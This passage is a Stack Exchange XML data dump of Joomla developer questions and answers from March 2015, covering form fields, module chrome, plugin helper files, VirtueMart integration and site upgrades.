  <row Id="9193" PostTypeId="2" ParentId="9185" CreationDate="2015-03-24T08:23:55.750" Score="0" Body="&lt;p&gt;&lt;strong&gt;Multiple fields with same name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;multiple=&quot;true&quot;&lt;/code&gt; means that your one field can have multiple values, not that you can have multiple fields with same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to create &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;custom form field&lt;/a&gt; to get multiple textareas or selects with same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you only have to add &lt;code&gt;[]&lt;/code&gt; to end of fields name, &lt;code&gt;extend&lt;/code&gt; &lt;code&gt;JFormFieldTextarea&lt;/code&gt; and &lt;code&gt;JFormFieldList&lt;/code&gt;. Then you only have to copy-paste existing &lt;code&gt;getInput&lt;/code&gt; functions and add &lt;code&gt;[]&lt;/code&gt; after &lt;code&gt;$this-&amp;gt;name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These classes are located at &lt;code&gt;libraries/joomla/form/fields&lt;/code&gt;, files &lt;code&gt;list.php&lt;/code&gt; and &lt;code&gt;textarea.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Grouping&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only way you can group related data is to add &lt;code&gt;&amp;lt;fieldset&amp;gt;&amp;lt;/fieldset&amp;gt;&lt;/code&gt; into &lt;code&gt;&amp;lt;fields&amp;gt;&amp;lt;/fields&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from Joomla! core &lt;code&gt;com_content&lt;/code&gt; article.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;attribs&quot; label=&quot;COM_CONTENT_ATTRIBS_FIELDSET_LABEL&quot;&amp;gt;&#xA;  &amp;lt;fieldset name=&quot;basic&quot; label=&quot;COM_CONTENT_ATTRIBS_FIELDSET_LABEL&quot;&amp;gt;&#xA;    &amp;lt;field&#xA;      name=&quot;show_title&quot;&#xA;      type=&quot;list&quot;&#xA;      class=&quot;chzn-color&quot;&#xA;      label=&quot;JGLOBAL_SHOW_TITLE_LABEL&quot;&#xA;      description=&quot;JGLOBAL_SHOW_TITLE_DESC&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;&quot;&amp;gt;JGLOBAL_USE_GLOBAL&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;1&quot;&amp;gt;JSHOW&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;0&quot;&amp;gt;JHIDE&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the output would be.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;jform_attribs_show_title&quot; name=&quot;jform[attribs][show_title]&quot; class=&quot;chzn-color chzn-done&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot; selected=&quot;selected&quot;&amp;gt;Use Global&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;1&quot;&amp;gt;Show&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;0&quot;&amp;gt;Hide&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All &lt;code&gt;fields&lt;/code&gt; in this &lt;code&gt;fieldset&lt;/code&gt; will be in &lt;code&gt;jform[attribs]&lt;/code&gt;. &lt;code&gt;&amp;lt;fields&amp;gt;&lt;/code&gt; attribute &lt;code&gt;name&lt;/code&gt; would be &lt;code&gt;array&lt;/code&gt; key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end you will end up with something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;grouped&quot;&amp;gt;&#xA;  &amp;lt;fieldset name=&quot;myset&quot;&#xA;      &amp;lt;field name=&quot;language&quot; type=&quot;mycustomlanguage&quot; class=&quot;hidden&quot; ...&amp;gt;&#xA;      &amp;lt;field name=&quot;sometext&quot; type=&quot;mycustomtext&quot; ...&amp;gt;&#xA;  /&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-03-24T08:23:55.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9194" PostTypeId="2" ParentId="9188" CreationDate="2015-03-24T10:28:03.510" Score="4" Body="&lt;p&gt;You've specifically tagged your question with Joomla 3.x, so assuming you're using Joomla 3.2 or later, passwords are hashed using the &lt;a href=&quot;http://en.wikipedia.org/wiki/Bcrypt&quot; rel=&quot;nofollow&quot;&gt;Bcrypt&lt;/a&gt; which is considered one the best method available today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MD5 hash and salt were used in older versions of Joomla&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The passwords are stored in the &lt;code&gt;#__users&lt;/code&gt; table and no, they can not be decoded, but can be reset.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-24T10:28:03.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9195" PostTypeId="1" CreationDate="2015-03-24T11:10:11.437" Score="0" ViewCount="864" Body="&lt;p&gt;So i created a custom button in the toolbar of my joomla-administration component. I want it to do something in the background but NOT to redirect to another page. Unfortunately, it always redirects to another page when i press it, no matter if i declare a &lt;code&gt;$this-&amp;gt;setRedirect&lt;/code&gt;-statement or if i dont. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom toolbar-button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolBarHelper::custom('mymail.send', 'mymail_send.png', 'mymail_send.png', 'Send', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which calls the function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function send()&#xA;    {   &#xA;    // does something, but is not supposed to redirect&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if i call &lt;code&gt;$this-&amp;gt;setRedirect($myurl)&lt;/code&gt; within the function it will follow the $myurl correctly. If i dont call it, it redirects to an empty page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to prevent the page from redirecting (or reloading) at all?&lt;/p&gt;&#xA;" OwnerUserId="3945" LastActivityDate="2015-11-09T13:13:23.727" Title="Prevent Redirect on Joomla.submitform when submitting by custom function (JToolBarHelper::custom)" Tags="|component|administration|redirect|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9196" PostTypeId="1" AcceptedAnswerId="9197" CreationDate="2015-03-24T11:16:39.037" Score="1" ViewCount="918" Body="&lt;p&gt;I was wondering if there's any way to upgrade my Joomla 2.5 website, with VM2 and a template for Joomla 2.5, to Joomla 3.&#xA;Downloading afterwards the same template and some other plugins and components for that version...&lt;/p&gt;&#xA;" OwnerUserId="3573" LastActivityDate="2015-03-24T12:20:53.233" Title="Is it possible to upgrade Joomla 2.5 to 3.4 without losing data?" Tags="|joomla-3.x|joomla-2.5|upgrade|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9197" PostTypeId="2" ParentId="9196" CreationDate="2015-03-24T12:20:53.233" Score="2" Body="&lt;p&gt;The question is very frequent. At this time, you can find many answers. Just do your research to find the best answer for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, this is one of the possible answers: &lt;a href=&quot;https://joomla.stackexchange.com/questions/1158/upgrade-from-2-5-to-3-x-overview&quot;&gt;Upgrade from 2.5 to 3.x overview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-24T12:20:53.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9199" PostTypeId="1" CreationDate="2015-03-24T14:15:02.707" Score="1" ViewCount="649" Body="&lt;p&gt;I am working on a website with joomla 3.4.1. After a successfull upgrade from 2.5.28 I'm testing the site now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I use a menu item for a category blog. But the read more button has a false url.&#xA;The url goes to &lt;strong&gt;&quot;&lt;a href=&quot;http://examplesite.com/index.php/129-my-first-blog&quot; rel=&quot;nofollow&quot;&gt;http://examplesite.com/index.php/129-my-first-blog&lt;/a&gt;&quot;&lt;/strong&gt; instead of going to &lt;strong&gt;&quot;&lt;a href=&quot;http://examplesite.com/index.php/blogs/129-my-first-blog&quot; rel=&quot;nofollow&quot;&gt;http://examplesite.com/index.php/blogs/129-my-first-blog&lt;/a&gt;&quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the false url is going to the home site (home menu item) where I use a modul which has just be shown on the home site (home menu item). When I click on the read more button I'm going to see the modul which I don't want to see in this blog. &#xA;I want that the read more button uses the blogs menu item instead of the home menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know what to do? &lt;/p&gt;&#xA;" OwnerUserId="3947" LastActivityDate="2015-03-25T10:24:06.767" Title="Joomla 3.4: read more link has false url" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9201" PostTypeId="2" ParentId="9199" CreationDate="2015-03-24T15:49:17.180" Score="0" Body="&lt;p&gt;You need to create an extra menuitem, a blog layout menuitem, linking to that category.&lt;br&gt;&#xA;And name this menuitem &lt;strong&gt;Blogs&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-03-24T15:49:17.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9203" PostTypeId="1" CreationDate="2015-03-24T16:38:49.257" Score="1" ViewCount="133" Body="&lt;p&gt;Every time I want to save / save &amp;amp; close / close a product in Virtuemart 3, this error appears in my console; and obviously, buttons don't work... what is it? how can I fix it?&#xA;&lt;a href=&quot;http://gyazo.com/b4662b8b36c5f76d3dea95559e08c4df&quot; rel=&quot;nofollow&quot;&gt;http://gyazo.com/b4662b8b36c5f76d3dea95559e08c4df&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3573" LastActivityDate="2015-03-24T17:36:50.883" Title="Joomla administrator - VM JQuery Problems" Tags="|joomla-3.x|jquery|virtuemart|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9204" PostTypeId="2" ParentId="9203" CreationDate="2015-03-24T17:36:50.883" Score="2" Body="&lt;p&gt;VirtueMart is just recently migrated to Joomla 3. It is not fully comatible with a pure JQuery environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, check this tip to force Mootools compatibility in legacy code: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mootools on Joomla 3.4 - Fix to broken extensions&lt;/strong&gt;&#xA;&lt;a href=&quot;https://groups.google.com/forum/#!msg/joomla-dev-general/pJ8gi8LypuE/Lsgryh77ClgJ&quot; rel=&quot;nofollow&quot;&gt;https://groups.google.com/forum/#!msg/joomla-dev-general/pJ8gi8LypuE/Lsgryh77ClgJ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-24T17:36:50.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9205" PostTypeId="1" AcceptedAnswerId="9207" CreationDate="2015-03-24T19:52:27.277" Score="1" ViewCount="65" Body="&lt;p&gt;I'm trying to link my admin component to the administrator article manager, and when the list of articles appear, I want it to show only the Unpublished articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to change the filter programatically, like a GET parameter or something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1744" LastActivityDate="2015-03-24T20:51:31.077" Title="Change filter programatically in administrator article manager" Tags="|administrator|article-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9206" PostTypeId="1" AcceptedAnswerId="9208" CreationDate="2015-03-24T20:30:04.383" Score="1" ViewCount="593" Body="&lt;p&gt;Is there a conventional way of making a helper file to a Joomla Plugin? Like class names (helper or plgNameHelper) and the way of calling it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Helper&#xA;{&#xA;    public static function test() &#xA;    {&#xA;    // some code&#xA;    }&#xA;&#xA;    public static function anotherTest() &#xA;    {&#xA;    // some code&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-03-24T21:06:02.027" Title="Joomla Plugin With Helper File" Tags="|joomla-3.x|development|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9207" PostTypeId="2" ParentId="9205" CreationDate="2015-03-24T20:44:22.817" Score="2" Body="&lt;p&gt;Yes that's possible, try this URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/index.php?option=com_content&amp;amp;filter[published]=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works with every other filter as well. Just look up the &lt;strong&gt;name&lt;/strong&gt; attribute of the filter HTML element.&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-03-24T20:51:31.077" LastActivityDate="2015-03-24T20:51:31.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9208" PostTypeId="2" ParentId="9206" CreationDate="2015-03-24T21:06:02.027" Score="2" Body="&lt;p&gt;Yes, this is possible. Here is a small example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;myplugin.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Myplugin&#xA;{&#xA;    public function doSomething()&#xA;    {&#xA;        require_once __DIR__ . '/helper.php';&#xA;        $newuser = new User;&#xA;&#xA;        return $newuser-&amp;gt;getUsername();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class User&#xA;{&#xA;    public function getUsername()&#xA;    {&#xA;        // perform some magic&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put both the PHP files in the same directory and simply call it using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once __DIR__ . '/helper.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-24T21:06:02.027" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9210" PostTypeId="1" AcceptedAnswerId="9227" CreationDate="2015-03-24T23:14:38.503" Score="2" ViewCount="402" Body="&lt;p&gt;I'm using grid layout and I need to calculate column width depending on amount of active modules in a position. I'm assigning the css class within my module chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I was doing till now was something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$position1ColumnWidth = functionThatCalculatesWidth('position1');&#xA;...&#xA;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;menu&quot; style=&quot;customChrome&quot; colWidth=&quot;&amp;lt;?php echo $position1ColumnWidth?&amp;gt;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And than in &lt;code&gt;modules.php&lt;/code&gt; I'd do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modChrome_customChrome ($module, &amp;amp;$params, &amp;amp;$attribs) {&#xA;    echo &quot;&amp;lt;div class=\&quot;&quot; . $attribs[&quot;colWidth&quot;] . &quot;&amp;gt;&quot;;&#xA;    echo $module-&amp;gt;content;&#xA;    echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way seems dirty to me because I have to calculate column width in my index php and it adds unnecessary code if I'd like to add a new position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to access countModules function for position that is currently rendered from within module chrome to separate logic from template as much as possible?&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2015-03-27T09:22:11.570" Title="countModules in module chrome function" Tags="|module|template-override|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9212" PostTypeId="1" CreationDate="2015-03-25T07:40:36.047" Score="1" ViewCount="597" Body="&lt;p&gt;I am about to write a little plugin for K2 what enables the user to link Items/categories to items/categories. The backend part is working and I would like to load the items/categories in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onK2PrepareContent(&amp;amp;$item, &amp;amp;$params, $limitstart) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried to load an Item like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function loadItem($iid)&#xA;{&#xA;    if(!isset($this-&amp;gt;itemCache[$iid]))&#xA;    {           &#xA;        $oid = JRequest::getInt('id');&#xA;        JRequest::setVar('id', $iid);&#xA;&#xA;        $item = $this-&amp;gt;itemModel-&amp;gt;getData();&#xA;        $this-&amp;gt;itemModel-&amp;gt;prepareItem($item, 'item', '');&#xA;&#xA;        JRequest::setVar('id', $oid);   &#xA;        $this-&amp;gt;itemCache[$iid] = $item;&#xA;    }&#xA;    return $this-&amp;gt;itemCache[$iid];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that throws some errors and seems not to work properly. Any Ideas I can load the Items and Category Objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Ahead!&lt;/p&gt;&#xA;" OwnerUserId="2246" LastActivityDate="2015-03-25T07:40:36.047" Title="K2—load Items and Categories by ID" Tags="|k2|model|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9216" PostTypeId="1" AcceptedAnswerId="9281" CreationDate="2015-03-25T10:18:14.243" Score="1" ViewCount="84" Body="&lt;p&gt;In a plugin config xml file, the following creates a config checkbox fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;post_allowed&quot; type=&quot;checkbox&quot;&#xA;  default=&quot;0&quot;&#xA;  description=&quot;Post Allowed&quot;&#xA;  label=&quot;Post Allowed&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However if I change the default to 1, it breaks to config screen. It becomes impossible to uncheck the it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;post_allowed&quot; type=&quot;checkbox&quot;&#xA;  default=&quot;1&quot;&#xA;  description=&quot;Post Allowed&quot;&#xA;  label=&quot;Post Allowed&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3949" LastActivityDate="2015-03-31T01:00:43.060" Title="Plugin config checkbox, setting default=true breaks it" Tags="|plugin|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9217" PostTypeId="2" ParentId="9199" CreationDate="2015-03-25T10:24:06.767" Score="1" Body="&lt;p&gt;I have a solution now. The home menu item has featured article instead of category blog. Now I can decide with that star symbol which blog is on the first site. And because both menu items haven't the same category, I can click on the read more buttons and get the correct link.&lt;/p&gt;&#xA;" OwnerUserId="3947" LastActivityDate="2015-03-25T10:24:06.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9218" PostTypeId="1" CreationDate="2015-03-25T11:25:45.030" Score="2" ViewCount="307" Body="&lt;p&gt;I use Netbeans for Joomla extensions development, I want to stick to Joomla coding standards but I have a problem with the first phpdoc comment block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is an stupid question but it's driving me crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't configure first blank line after first comment when using Netbeans code auto formatting, when hitting SHIFT + CMD + F I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Package&#xA; * @copyright   Copyright (C) Owner. All rights reserved.&#xA; * @license     GNU GPLv2 &amp;lt;http://www.gnu.org/licenses/gpl.html&amp;gt;&#xA; */&#xA;defined('_JEXEC') or die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't found the way I can achieve this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Package&#xA; * @copyright   Copyright (C) Owner. All rights reserved.&#xA; * @license     GNU GPLv2 &amp;lt;http://www.gnu.org/licenses/gpl.html&amp;gt;&#xA; */&#xA;&#xA;defined('_JEXEC') or die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the blank line between the comment block and the first php line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone else use this feature of Netbeans to format code PSR-2 style? Did you solved this Netbeans issue?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="27" LastEditDate="2016-11-29T23:15:19.333" LastActivityDate="2016-11-29T23:15:19.333" Title="Netbeans code formatting comment blocks" Tags="|joomla-3.x|php|docblock|joomla-coding-standards|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9219" PostTypeId="2" ParentId="9218" CreationDate="2015-03-25T14:29:21.367" Score="2" Body="&lt;p&gt;Even though, I use Eclipse for development. This link may guide you to look for similar preferences in Netbeans to configure the tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Configuring_Eclipse_IDE_for_PHP_development/Linux#Configuring_the_editors&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Configuring_Eclipse_IDE_for_PHP_development/Linux#Configuring_the_editors&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-25T14:29:21.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9220" PostTypeId="1" CreationDate="2015-03-25T14:38:26.247" Score="0" ViewCount="672" Body="&lt;p&gt;I embedded a custom page in Joomla iframe but all the CSS declared background images are misssing. I need to configure something or put some code to show all the background images. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="3957" LastActivityDate="2015-03-25T16:36:59.183" Title="Joomla doesn't show the background images in embedded URL pages" Tags="|joomla-2.5|css|url|bugs|images|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9221" PostTypeId="1" AcceptedAnswerId="9222" CreationDate="2015-03-25T14:55:10.357" Score="0" ViewCount="76" Body="&lt;p&gt;I've created my own component and I can't find the file with the settings for the title name in the backend. Whenever the current view is my component it displays the name properly but if the component is another one it just shows com-mycomponent in the toolbar as the name. Also I can't figure out how to add a dropdown like the banners component does.&lt;/p&gt;&#xA;" OwnerUserId="3533" LastActivityDate="2015-03-25T15:11:47.260" Title="3.x backend title &amp; dropdown" Tags="|joomla-3.x|component|administration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9222" PostTypeId="2" ParentId="9221" CreationDate="2015-03-25T15:01:07.173" Score="2" Body="&lt;p&gt;I think you are taking about component menu in the administrator section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this you need to create a system language file which will contain all the component menu translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the component xml file you need to add entry of this language file like shown in the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;languages/admin/en-GB.com_component.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;languages/admin/en-GB.com_component.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the current view is of your component then the main language file that is en-GB.com_component.ini gets loaded which might contains the desired language translations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in case of different component view the desired translation is missing because by default joomla does not loads language files of all the component on all views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it loads system language files on every view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should put component menu translation in this file.&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="396" LastEditDate="2015-03-25T15:11:47.260" LastActivityDate="2015-03-25T15:11:47.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9223" PostTypeId="2" ParentId="9220" CreationDate="2015-03-25T16:36:59.183" Score="2" Body="&lt;p&gt;go in an set the full path to the background images, this is a pain but it will fix your issue. When you include a page, sometimes the css path is not translate right,(relative url) right&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: /images/image.jpg  &amp;lt;--- doesn't work&#xA;eg: &lt;a href=&quot;http://www.somesite.com/images/image.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.somesite.com/images/image.jpg&lt;/a&gt; &amp;lt;---- will always work&lt;/p&gt;&#xA;" OwnerUserId="3955" LastActivityDate="2015-03-25T16:36:59.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9225" PostTypeId="1" AcceptedAnswerId="9226" CreationDate="2015-03-25T17:46:24.900" Score="2" ViewCount="1359" Body="&lt;p&gt;I want to load 3rd party component's model to my custom created component. I tried following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('joomla.application.component.model'); &#xA;JLoader::import( 'manufacturer', JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'models' );&#xA;$model = JModel::getInstance( 'Manufacturer', 'VirtueMartModel' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it didn't work. Is there any way to get model? I am trying to load viretuemart manufacturer model to my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.4.1 and viretuemart 3.0.6.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to achieve this from my developed component's controller, model and also from view.&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-03-25T17:59:31.630" Title="How to load 3rd party component's model to my custom component?" Tags="|joomla-3.x|component|virtuemart|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9226" PostTypeId="2" ParentId="9225" CreationDate="2015-03-25T17:59:31.630" Score="3" Body="&lt;p&gt;There is no standard way to integrate 3rd party component's model. Every developer implements its own way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After integrating 50+ plugins in AutoTweetNG and Joocial, the method that usually works is to check extension's modules or plugins, looking for the way the model is integrated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, VirtueMart works in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (!class_exists('VmConfig'))&#xA;    {&#xA;        require JPATH_ROOT . '/administrator/components/com_virtuemart/helpers/config.php';&#xA;        VmConfig::loadConfig();&#xA;    }&#xA;&#xA;    $productModel = VmModel::getModel('Product');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-25T17:59:31.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9227" PostTypeId="2" ParentId="9210" CreationDate="2015-03-25T18:43:29.407" Score="1" Body="&lt;p&gt;A chrome function like this could work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modChrome_mymod($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{   &#xA;    jimport( 'joomla.application.module.helper' );&#xA;    $class = &quot;&quot;;&#xA;    if(count(JModuleHelper::getModules('position'))) {&#xA;        $total_modules = count(JModuleHelper::getModules('position'));&#xA;        $width = round(100 / $total_modules);&#xA;        $class = &quot; width-&quot;.$width;&#xA;    }&#xA;    if (!empty ($module-&amp;gt;content)) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;gridmod&amp;lt;?php echo $class; ?&amp;gt; floatleft moduletable&amp;lt;?php echo htmlspecialchars($params-&amp;gt;get('moduleclass_sfx')); ?&amp;gt;&quot;&amp;gt;&#xA;    // Rest of your chrome function goes here ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It counts the total modules of the given position, then divide 100/ number of modules and assign this to a class name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then create styles for these expected class names like:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.width-100 {width:100%;}  &#xA;.width-50 {width:50%;}  &#xA;.width-33 {width:33%;}  &#xA;.width-25 {width:25%;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so 